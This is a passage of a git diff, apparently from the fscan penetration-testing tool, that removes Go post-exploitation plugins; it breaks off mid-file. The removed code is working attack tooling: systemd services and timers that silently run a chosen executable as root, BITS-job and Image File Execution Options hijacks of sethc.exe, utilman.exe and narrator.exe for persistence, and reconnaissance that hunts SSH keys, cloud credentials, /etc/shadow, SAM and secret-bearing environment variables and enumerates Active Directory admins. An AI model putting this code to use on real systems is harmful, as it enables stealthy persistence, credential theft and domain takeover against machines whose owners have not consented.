true, - content: fmt.Sprintf(`[Unit] -Description=System Monitor Service -After=network.target - -[Service] -Type=forking -User=root -ExecStart=%s -PIDFile=/var/run/system-monitor.pid -Restart=on-failure -StandardOutput=null -StandardError=null - -[Install] -WantedBy=multi-user.target -`, execPath), - }, - { - name: "network-check.service", - enable: false, - content: fmt.Sprintf(`[Unit] -Description=Network Check Service -After=network-online.target -Wants=network-online.target - -[Service] -Type=oneshot -User=root -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath), - }, - } - - var created []string - for _, service := range services { - servicePath := filepath.Join(systemDir, service.name) - if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil { - created = append(created, service.name) - } - } - - if len(created) == 0 { - return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none")) - } - - return created, nil -} - -// enableAndStartServices 启用并启动服务 -func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error { - var errors []string - - for _, serviceName := range serviceFiles { - // 重新加载systemd配置 - _ = exec.Command("systemctl", "daemon-reload").Run() - - // 启用服务 - if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err)) - } - - // 启动服务 - if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil { - errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err)) - } - } - - if len(errors) > 0 { - return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; ")) - } - - return nil -} - -// createUserServices 创建用户级服务 -func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) { - userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user") - if userDir == "/.config/systemd/user" { // HOME为空的情况 - userDir = "/tmp/.config/systemd/user" - } - - if err := os.MkdirAll(userDir, 0755); err != nil { - return nil, err - } - - userServices := []string{ - "user-service.service", - "background-task.service", - } - - userServiceContent := fmt.Sprintf(`[Unit] -Description=User Background Service -After=graphical-session.target - -[Service] -Type=simple -ExecStart=%s -Restart=always -RestartSec=30 -StandardOutput=null -StandardError=null - -[Install] -WantedBy=default.target -`, execPath) - - var created []string - for _, serviceName := range userServices { - servicePath := filepath.Join(userDir, serviceName) - if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil { - created = append(created, serviceName) - - // 启用用户服务 - _ = exec.Command("systemctl", "--user", "enable", serviceName).Run() - _ = exec.Command("systemctl", "--user", "start", serviceName).Run() - } - } - - return created, nil -} - -// createTimerServices 创建定时器服务 -func (p *SystemdServicePlugin) createTimerServices(execPath string) error { - systemDir := "/etc/systemd/system" - - // 创建定时器服务文件 - timerService := fmt.Sprintf(`[Unit] -Description=Scheduled Task Service -Wants=scheduled-task.timer - -[Service] -Type=oneshot -ExecStart=%s -StandardOutput=null -StandardError=null -`, execPath) - - // 创建定时器文件 - timerConfig := `[Unit] -Description=Run Scheduled Task Every 10 Minutes -Requires=scheduled-task.service - -[Timer] -OnBootSec=5min -OnUnitActiveSec=10min -AccuracySec=1s - -[Install] -WantedBy=timers.target -` - - // 写入服务文件 - serviceFile := filepath.Join(systemDir, "scheduled-task.service") - if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil { - return err - } - - // 写入定时器文件 - timerFile := filepath.Join(systemDir, "scheduled-task.timer") - if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil { - return err - } - - // 启用定时器 - _ = exec.Command("systemctl", "daemon-reload").Run() - _ = exec.Command("systemctl", "enable", "scheduled-task.timer").Run() - _ = exec.Command("systemctl", "start", "scheduled-task.timer").Run() - - return nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("systemdservice", func() Plugin { - return NewSystemdServicePlugin() - }) -} diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go deleted file mode 100644 index d3c8ccda..00000000 --- a/plugins/local/systeminfo.go +++ /dev/null @@ -1,421 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && !no_local - -package local - -import ( - "context" - _ "embed" - "encoding/json" - "fmt" - "net" - "os" - "os/exec" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -//go:embed auto.json -var avDatabase []byte - -type avProduct struct { - Processes []string `json:"processes"` - URL string `json:"url"` -} - -type SystemInfoPlugin struct { - plugins.BasePlugin - output strings.Builder - session *common.ScanSession -} - -func NewSystemInfoPlugin() *SystemInfoPlugin { - return &SystemInfoPlugin{ - BasePlugin: plugins.NewBasePlugin("systeminfo"), - } -} - -func (p *SystemInfoPlugin) log(key string, args ...interface{}) { - msg := i18n.Tr(key, args...) - p.session.LogInfo(msg) - p.output.WriteString(msg + "\n") -} - -func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) { - msg := i18n.Tr(key, args...) - p.session.LogSuccess(msg) - p.output.WriteString(msg + "\n") -} - -func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - p.session = session - session.LogSuccess(i18n.GetText("systeminfo_start")) - - p.collectBasicInfo() - p.collectNetworkInfo() - p.collectPrivilegeInfo() - p.collectPlatformInfo() - p.collectAVInfo() - p.collectSensitiveFiles() - p.collectSensitiveEnvVars() - p.collectDomainInfo() - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: p.output.String(), - } -} - -func (p *SystemInfoPlugin) collectBasicInfo() { - p.log("systeminfo_os", runtime.GOOS) - p.log("systeminfo_arch", runtime.GOARCH) - p.log("systeminfo_cpu", runtime.NumCPU()) - - if hostname, err := os.Hostname(); err == nil { - p.log("systeminfo_hostname", hostname) - } - if u, err := user.Current(); err == nil { - p.log("systeminfo_user", u.Username) - if u.HomeDir != "" { - p.log("systeminfo_homedir", u.HomeDir) - } - } - if wd, err := os.Getwd(); err == nil { - p.log("systeminfo_workdir", wd) - } - p.log("systeminfo_tempdir", os.TempDir()) -} - -func (p *SystemInfoPlugin) collectNetworkInfo() { - ifaces, err := net.Interfaces() - if err != nil { - return - } - for _, iface := range ifaces { - if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 { - continue - } - addrs, err := iface.Addrs() - if err != nil || len(addrs) == 0 { - continue - } - var ips []string - for _, addr := range addrs { - ips = append(ips, addr.String()) - } - p.log("systeminfo_iface", iface.Name, strings.Join(ips, ", "), iface.HardwareAddr.String()) - } -} - -func (p *SystemInfoPlugin) collectPrivilegeInfo() { - switch runtime.GOOS { - case "windows": - if out, err := p.runCommand("net", "session"); err == nil { - _ = out - p.logSuccess("systeminfo_privilege", "Administrator") - } else { - p.log("systeminfo_privilege", "Normal User") - } - if out, err := p.runCommand("whoami", "/groups"); err == nil { - if strings.Contains(out, "S-1-5-32-544") { - p.logSuccess("systeminfo_privilege_group", "Administrators") - } - } - case "linux", "darwin": - if uid := os.Getuid(); uid == 0 { - p.logSuccess("systeminfo_privilege", "root") - } else { - p.log("systeminfo_privilege", fmt.Sprintf("uid=%d", uid)) - } - if out, err := p.runCommand("id"); err == nil { - p.log("systeminfo_id_info", strings.TrimSpace(out)) - } - } -} - -func (p *SystemInfoPlugin) collectPlatformInfo() { - switch runtime.GOOS { - case "windows": - p.collectWindowsInfo() - case "linux": - p.collectLinuxInfo() - case "darwin": - p.collectDarwinInfo() - } -} - -func (p *SystemInfoPlugin) collectWindowsInfo() { - if out, err := p.runCommand("cmd", "/c", "ver"); err == nil { - p.log("systeminfo_winver", strings.TrimSpace(out)) - } - if out, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { - domain := strings.TrimSpace(out) - if domain != "" && domain != "%USERDOMAIN%" { - p.log("systeminfo_domain", domain) - } - } - - if out, err := p.runCommand("netsh", "advfirewall", "show", "allprofiles", "state"); err == nil { - for _, line := range strings.Split(out, "\n") { - line = strings.TrimSpace(line) - if strings.Contains(line, "ON") || strings.Contains(line, "OFF") { - p.log("systeminfo_firewall", line) - } - } - } - - if out, err := p.runCommand("wmic", "qfe", "get", "HotFixID,InstalledOn"); err == nil { - lines := strings.Split(strings.TrimSpace(out), "\n") - patches := 0 - for _, line := range lines { - if strings.HasPrefix(strings.TrimSpace(line), "KB") { - patches++ - } - } - if patches > 0 { - p.log("systeminfo_patches", patches) - } - } -} - -func (p *SystemInfoPlugin) collectLinuxInfo() { - if out, err := p.runCommand("uname", "-a"); err == nil { - p.log("systeminfo_kernel", strings.TrimSpace(out)) - } - if data, err := os.ReadFile("/etc/os-release"); err == nil { - for _, line := range strings.Split(string(data), "\n") { - if strings.HasPrefix(line, "PRETTY_NAME=") { - name := strings.Trim(strings.TrimPrefix(line, "PRETTY_NAME="), "\"") - p.log("systeminfo_distro", name) - break - } - } - } - - if out, err := p.runCommand("iptables", "-L", "-n", "--line-numbers"); err == nil { - ruleCount := 0 - for _, line := range strings.Split(out, "\n") { - if len(line) > 0 && line[0] >= '0' && line[0] <= '9' { - ruleCount++ - } - } - p.log("systeminfo_firewall_rules", ruleCount) - } - - if out, err := p.runCommand("sudo", "-l", "-n"); err == nil { - if strings.Contains(out, "ALL") { - p.logSuccess("systeminfo_sudo", "ALL commands") - } else if strings.Contains(out, "NOPASSWD") { - p.logSuccess("systeminfo_sudo", "NOPASSWD entries found") - } - } -} - -func (p *SystemInfoPlugin) collectDarwinInfo() { - if out, err := p.runCommand("uname", "-a"); err == nil { - p.log("systeminfo_kernel", strings.TrimSpace(out)) - } - if out, err := p.runCommand("sw_vers"); err == nil { - for _, line := range strings.Split(out, "\n") { - line = strings.TrimSpace(line) - if line != "" { - p.log("systeminfo_macos_detail", line) - } - } - } -} - -func (p *SystemInfoPlugin) collectAVInfo() { - var avProducts map[string]avProduct - if err := json.Unmarshal(avDatabase, &avProducts); err != nil { - return - } - - processes := p.getRunningProcesses() - if len(processes) == 0 { - return - } - - processIndex := make(map[string][]string) - for _, proc := range processes { - name := proc - if idx := strings.Index(proc, " (PID: "); idx != -1 { - name = proc[:idx] - } - processIndex[strings.ToLower(name)] = append(processIndex[strings.ToLower(name)], proc) - } - - for avName, av := range avProducts { - var matched []string - for _, avProc := range av.Processes { - if procs, ok := processIndex[strings.ToLower(avProc)]; ok { - matched = append(matched, procs...) - } - } - if len(matched) > 0 { - p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched))) - for _, proc := range matched { - p.log("systeminfo_av_process", proc) - } - } - } -} - -func (p *SystemInfoPlugin) getRunningProcesses() []string { - switch runtime.GOOS { - case "windows": - return p.getWindowsProcesses() - case "linux", "darwin": - return p.getUnixProcesses() - } - return nil -} - -func (p *SystemInfoPlugin) getWindowsProcesses() []string { - out, err := p.runCommand("tasklist", "/fo", "csv", "/nh") - if err != nil { - return nil - } - var processes []string - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if !strings.HasPrefix(line, "\"") { - continue - } - parts := strings.Split(line, "\",\"") - if len(parts) >= 2 { - name := strings.Trim(parts[0], "\"") - pid := strings.Trim(parts[1], "\"") - if name != "" && pid != "" { - processes = append(processes, fmt.Sprintf("%s (PID: %s)", name, pid)) - } - } - } - return processes -} - -func (p *SystemInfoPlugin) getUnixProcesses() []string { - out, err := p.runCommand("ps", "-eo", "comm") - if err != nil { - return nil - } - var processes []string - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if line != "" && line != "COMMAND" { - processes = append(processes, line) - } - } - return processes -} - -func (p *SystemInfoPlugin) collectSensitiveFiles() { - var sensitiveFiles []string - - switch runtime.GOOS { - case "windows": - sensitiveFiles = []string{ - `C:\Windows\System32\config\SAM`, - `C:\Windows\repair\sam`, - } - case "linux", "darwin": - sensitiveFiles = []string{ - "/etc/shadow", - "/root/.ssh/id_rsa", - "/root/.ssh/authorized_keys", - "/root/.bash_history", - } - } - - homeDir, _ := os.UserHomeDir() - if homeDir != "" { - sensitiveFiles = append(sensitiveFiles, - filepath.Join(homeDir, ".ssh", "id_rsa"), - filepath.Join(homeDir, ".ssh", "id_ed25519"), - filepath.Join(homeDir, ".aws", "credentials"), - filepath.Join(homeDir, ".azure", "accessTokens.json"), - filepath.Join(homeDir, ".kube", "config"), - ) - } - - for _, f := range sensitiveFiles { - if _, err := os.Stat(f); err == nil { - p.logSuccess("systeminfo_sensitive_file", f) - } - } - - if homeDir != "" { - p.searchSensitiveInDirs(homeDir) - } -} - -func (p *SystemInfoPlugin) searchSensitiveInDirs(homeDir string) { - searchDirs := []string{ - filepath.Join(homeDir, "Desktop"), - filepath.Join(homeDir, "Documents"), - filepath.Join(homeDir, ".ssh"), - filepath.Join(homeDir, ".aws"), - } - keywords := []string{"password", "key", "secret", "token", "credential", "passwd"} - - for _, dir := range searchDirs { - info, err := os.Stat(dir) - if err != nil || !info.IsDir() { - continue - } - _ = filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error { - if err != nil || fi.IsDir() || fi.Size() > 1024*1024 { - return nil - } - name := strings.ToLower(filepath.Base(path)) - for _, kw := range keywords { - if strings.Contains(name, kw) { - p.logSuccess("systeminfo_sensitive_file", path) - break - } - } - return nil - }) - } -} - -func (p *SystemInfoPlugin) collectSensitiveEnvVars() { - keywords := []string{ - "password", "passwd", "secret", "key", "token", - "auth", "credential", "api_key", "access_key", - } - for _, env := range os.Environ() { - parts := strings.SplitN(env, "=", 2) - if len(parts) != 2 || parts[1] == "" { - continue - } - name := strings.ToLower(parts[0]) - for _, kw := range keywords { - if strings.Contains(name, kw) { - display := parts[1] - if len(display) > 8 { - display = display[:8] + "***" - } - p.logSuccess("systeminfo_sensitive_env", parts[0], display) - break - } - } - } -} - -func (p *SystemInfoPlugin) runCommand(name string, args ...string) (string, error) { - out, err := exec.Command(name, args...).Output() - return string(out), err -} - -func init() { - RegisterLocalPlugin("systeminfo", func() Plugin { - return NewSystemInfoPlugin() - }) -} diff --git a/plugins/local/systeminfo_dc_other.go b/plugins/local/systeminfo_dc_other.go deleted file mode 100644 index 95f83870..00000000 --- a/plugins/local/systeminfo_dc_other.go +++ /dev/null @@ -1,5 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && !windows && !no_local - -package local - -func (p *SystemInfoPlugin) collectDomainInfo() {} diff --git a/plugins/local/systeminfo_dc_url.go b/plugins/local/systeminfo_dc_url.go deleted file mode 100644 index 97acb382..00000000 --- a/plugins/local/systeminfo_dc_url.go +++ /dev/null @@ -1,11 +0,0 @@ -package local - -import ( - "fmt" - "net" - "strconv" -) - -func ldapURL(host string, port int) string { - return fmt.Sprintf("ldap://%s", net.JoinHostPort(host, strconv.Itoa(port))) -} diff --git a/plugins/local/systeminfo_dc_url_test.go b/plugins/local/systeminfo_dc_url_test.go deleted file mode 100644 index 089065de..00000000 --- a/plugins/local/systeminfo_dc_url_test.go +++ /dev/null @@ -1,24 +0,0 @@ -package local - -import "testing" - -func TestLDAPURLUsesJoinHostPort(t *testing.T) { - tests := []struct { - name string - host string - port int - want string - }{ - {name: "hostname", host: "dc.example.local", port: 389, want: "ldap://dc.example.local:389"}, - {name: "ipv4", host: "192.168.1.10", port: 389, want: "ldap://192.168.1.10:389"}, - {name: "ipv6", host: "2001:db8::10", port: 389, want: "ldap://[2001:db8::10]:389"}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := ldapURL(tt.host, tt.port); got != tt.want { - t.Fatalf("ldapURL(%q, %d) = %q, want %q", tt.host, tt.port, got, tt.want) - } - }) - } -} diff --git a/plugins/local/systeminfo_dc_windows.go b/plugins/local/systeminfo_dc_windows.go deleted file mode 100644 index 9326cf71..00000000 --- a/plugins/local/systeminfo_dc_windows.go +++ /dev/null @@ -1,232 +0,0 @@ -//go:build (plugin_systeminfo || !plugin_selective) && windows && !no_local - -package local - -import ( - "fmt" - "net" - "os/exec" - "strings" - - "github.com/go-ldap/ldap/v3" - "github.com/go-ldap/ldap/v3/gssapi" - "github.com/shadow1ng/fscan/common" -) - -type domainInfo struct { - Domain string - BaseDN string - LDAPConn *ldap.Conn -} - -func (p *SystemInfoPlugin) collectDomainInfo() { - domain := p.detectDomain() - if domain == "" { - return - } - - p.logSuccess("systeminfo_dc_detected", domain) - - conn, err := p.connectToDomain(domain) - if err != nil { - p.log("systeminfo_dc_connect_failed", err.Error()) - return - } - defer func() { - if conn.LDAPConn != nil { - _ = conn.LDAPConn.Close() - } - }() - - p.log("systeminfo_dc_basedn", conn.BaseDN) - - p.queryDomainBasicInfo(conn) - p.queryDomainControllers(conn) - p.queryDomainAdmins(conn) - p.queryDomainUsers(conn) - p.queryDomainComputers(conn) - p.queryGroupPolicies(conn) -} - -func (p *SystemInfoPlugin) detectDomain() string { - // PowerShell - if out, err := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain").Output(); err == nil { - domain := strings.TrimSpace(string(out)) - if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { - return domain - } - } - // wmic - if out, err := exec.Command("wmic", "computersystem", "get", "domain", "/value").Output(); err == nil { - for _, line := range strings.Split(string(out), "\n") { - if strings.HasPrefix(line, "Domain=") { - domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain=")) - if domain != "" && !strings.EqualFold(domain, "WORKGROUP") { - return domain - } - } - } - } - return "" -} - -func (p *SystemInfoPlugin) connectToDomain(domain string) (*domainInfo, error) { - dcHost, err := p.findDC(domain) - if err != nil { - return nil, err - } - - client, err := gssapi.NewSSPIClient() - if err != nil { - return nil, fmt.Errorf("SSPI: %w", err) - } - defer func() { _ = client.Close() }() - - conn, err := ldap.DialURL(ldapURL(dcHost, 389)) - if err != nil { - if ipv4, resolveErr := resolveIPv4(dcHost); resolveErr == nil { - conn, err = ldap.DialURL(ldapURL(ipv4, 389)) - } - if err != nil { - return nil, fmt.Errorf("LDAP dial: %w", err) - } - } - - if err := conn.GSSAPIBind(client, fmt.Sprintf("ldap/%s", dcHost), ""); err != nil { - _ = conn.Close() - return nil, fmt.Errorf("GSSAPI bind: %w", err) - } - - baseDN, err := p.getBaseDN(conn, domain) - if err != nil { - _ = conn.Close() - return nil, err - } - - return &domainInfo{Domain: domain, BaseDN: baseDN, LDAPConn: conn}, nil -} - -func (p *SystemInfoPlugin) findDC(domain string) (string, error) { - if out, err := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)).Output(); err == nil { - for _, line := range strings.Split(string(out), "\n") { - if common.ContainsAny(line, "svr hostname", "service") { - parts := strings.Split(line, "=") - if len(parts) > 1 { - host := strings.TrimSpace(parts[len(parts)-1]) - host = strings.TrimSuffix(host, ".") - if host != "" { - return host, nil - } - } - } - } - } - if err := exec.Command("ping", "-n", "1", domain).Run(); err == nil { - return domain, nil - } - return "", fmt.Errorf("cannot find DC for %s", domain) -} - -func (p *SystemInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { - sr, err := conn.Search(ldap.NewSearchRequest("", ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"defaultNamingContext"}, nil)) - if err == nil && len(sr.Entries) > 0 { - if dn := sr.Entries[0].GetAttributeValue("defaultNamingContext"); dn != "" { - return dn, nil - } - } - var parts []string - for _, p := range strings.Split(domain, ".") { - parts = append(parts, fmt.Sprintf("DC=%s", p)) - } - return strings.Join(parts, ","), nil -} - -func (p *SystemInfoPlugin) queryDomainBasicInfo(conn *domainInfo) { - sr, err := conn.LDAPConn.Search(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"whenCreated", "whenChanged", "msDS-Behavior-Version"}, nil)) - if err != nil { - return - } - if len(sr.Entries) > 0 { - e := sr.Entries[0] - if v := e.GetAttributeValue("whenCreated"); v != "" { - p.log("systeminfo_dc_created", v) - } - if v := e.GetAttributeValue("msDS-Behavior-Version"); v != "" { - p.log("systeminfo_dc_func_level", v) - } - } -} - -func (p *SystemInfoPlugin) queryDomainControllers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "dNSHostName", "operatingSystem"}, nil), 1000) - if err != nil { - return - } - p.logSuccess("systeminfo_dc_controllers", len(sr.Entries)) - for _, e := range sr.Entries { - p.log("systeminfo_dc_controller_detail", e.GetAttributeValue("cn"), e.GetAttributeValue("dNSHostName"), e.GetAttributeValue("operatingSystem")) - } -} - -func (p *SystemInfoPlugin) queryDomainAdmins(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=group)(cn=Domain Admins))", []string{"member"}, nil), 1000) - if err != nil || len(sr.Entries) == 0 { - return - } - members := sr.Entries[0].GetAttributeValues("member") - p.logSuccess("systeminfo_dc_admins", len(members)) - for _, dn := range members { - userSr, err := conn.LDAPConn.Search(ldap.NewSearchRequest(dn, ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=*)", []string{"sAMAccountName", "displayName"}, nil)) - if err == nil && len(userSr.Entries) > 0 { - p.log("systeminfo_dc_admin_detail", userSr.Entries[0].GetAttributeValue("sAMAccountName"), userSr.Entries[0].GetAttributeValue("displayName")) - } - } -} - -func (p *SystemInfoPlugin) queryDomainUsers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectCategory=person)(objectClass=user))", []string{"sAMAccountName"}, nil), 0) - if err != nil { - return - } - p.log("systeminfo_dc_users", len(sr.Entries)) -} - -func (p *SystemInfoPlugin) queryDomainComputers(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))", []string{"cn", "operatingSystem"}, nil), 0) - if err != nil { - return - } - p.log("systeminfo_dc_computers", len(sr.Entries)) - for _, e := range sr.Entries { - os := e.GetAttributeValue("operatingSystem") - if os != "" { - p.log("systeminfo_dc_computer_detail", e.GetAttributeValue("cn"), os) - } - } -} - -func (p *SystemInfoPlugin) queryGroupPolicies(conn *domainInfo) { - sr, err := conn.LDAPConn.SearchWithPaging(ldap.NewSearchRequest(conn.BaseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, "(objectClass=groupPolicyContainer)", []string{"displayName", "cn"}, nil), 1000) - if err != nil { - return - } - p.log("systeminfo_dc_gpos", len(sr.Entries)) - for _, e := range sr.Entries { - if name := e.GetAttributeValue("displayName"); name != "" { - p.log("systeminfo_dc_gpo_detail", name, e.GetAttributeValue("cn")) - } - } -} - -func resolveIPv4(hostname string) (string, error) { - ips, err := net.LookupIP(hostname) - if err != nil { - return "", err - } - for _, ip := range ips { - if ip.To4() != nil { - return ip.String(), nil - } - } - return "", fmt.Errorf("no IPv4 found") -} diff --git a/plugins/local/types.go b/plugins/local/types.go deleted file mode 100644 index 8e18cd0e..00000000 --- a/plugins/local/types.go +++ /dev/null @@ -1,21 +0,0 @@ -package local - -import ( - "context" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" -) - -// Plugin 本地插件接口 - 不需要端口概念 -type Plugin interface { - Name() string - Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result -} - -// RegisterLocalPlugin 注册本地插件 - 自动标记local类型 -func RegisterLocalPlugin(name string, creator func() Plugin) { - plugins.RegisterWithTypes(name, func() plugins.Plugin { - return creator() - }, []int{}, []string{plugins.PluginTypeLocal}) -} diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go deleted file mode 100644 index 918c9d7b..00000000 --- a/plugins/local/winbits.go +++ /dev/null @@ -1,99 +0,0 @@ -//go:build (plugin_winbits || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinBITSPlugin struct { - plugins.BasePlugin -} - -func NewWinBITSPlugin() *WinBITSPlugin { - return &WinBITSPlugin{BasePlugin: plugins.NewBasePlugin("winbits")} -} - -func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) - jobName := fmt.Sprintf("WindowsUpdate_%s", baseName) - - var output strings.Builder - - // 创建任务并提取 GUID - out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n") - return &plugins.Result{Success: false, Output: output.String()} - } - - guid := "" - for _, line := range strings.Split(string(out), "\n") { - if idx := strings.Index(line, "{"); idx != -1 { - if end := strings.Index(line[idx:], "}"); end != -1 { - guid = line[idx : idx+end+1] - break - } - } - } - if guid == "" { - output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n") - return &plugins.Result{Success: false, Output: output.String()} - } - output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n") - - steps := []struct { - desc string - args []string - }{ - {i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}}, - {i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}}, - {i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}}, - {i18n.GetText("winbits_resume_task"), []string{"/resume", guid}}, - } - - successCount := 1 - for _, step := range steps { - out, err := exec.Command("bitsadmin", step.args...).CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n") - successCount++ - } - - if successCount >= 3 { - session.LogSuccess(i18n.Tr("winbits_success", jobName)) - } - - return &plugins.Result{ - Success: successCount >= 3, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winbits", func() Plugin { - return NewWinBITSPlugin() - }) -} diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go deleted file mode 100644 index 67be8dd0..00000000 --- a/plugins/local/winifeo.go +++ /dev/null @@ -1,76 +0,0 @@ -//go:build (plugin_winifeo || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinIFEOPlugin struct { - plugins.BasePlugin -} - -func NewWinIFEOPlugin() *WinIFEOPlugin { - return &WinIFEOPlugin{BasePlugin: plugins.NewBasePlugin("winifeo")} -} - -func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - pePath := session.Config.WinPEFile - if pePath == "" { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))} - } - if _, err := os.Stat(pePath); err != nil { - return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))} - } - - absPath, _ := filepath.Abs(pePath) - - // 劫持目标:不常用但系统存在的程序 - targets := []struct { - exe string - desc string - }{ - {"sethc.exe", i18n.GetText("winifeo_sticky_keys")}, - {"utilman.exe", i18n.GetText("winifeo_accessibility")}, - {"narrator.exe", i18n.GetText("winifeo_narrator")}, - } - - var output strings.Builder - var successCount int - - for _, t := range targets { - key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe) - out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() - if err != nil { - output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n") - continue - } - output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n") - successCount++ - } - - if successCount > 0 { - session.LogSuccess(i18n.Tr("winifeo_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Type: plugins.ResultTypeService, - Output: output.String(), - } -} - -func init() { - RegisterLocalPlugin("winifeo", func() Plugin { - return NewWinIFEOPlugin() - }) -} diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go deleted file mode 100644 index dfb9c2d3..00000000 --- a/plugins/local/winlogon.go +++ /dev/null @@ -1,75 +0,0 @@ -//go:build (plugin_winlogon || !plugin_selective) && windows && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -type WinLogonPlugin struct { - plugins.BasePlugin -} - -func NewWinLogonPlugin() *WinLogonPlugin { - return 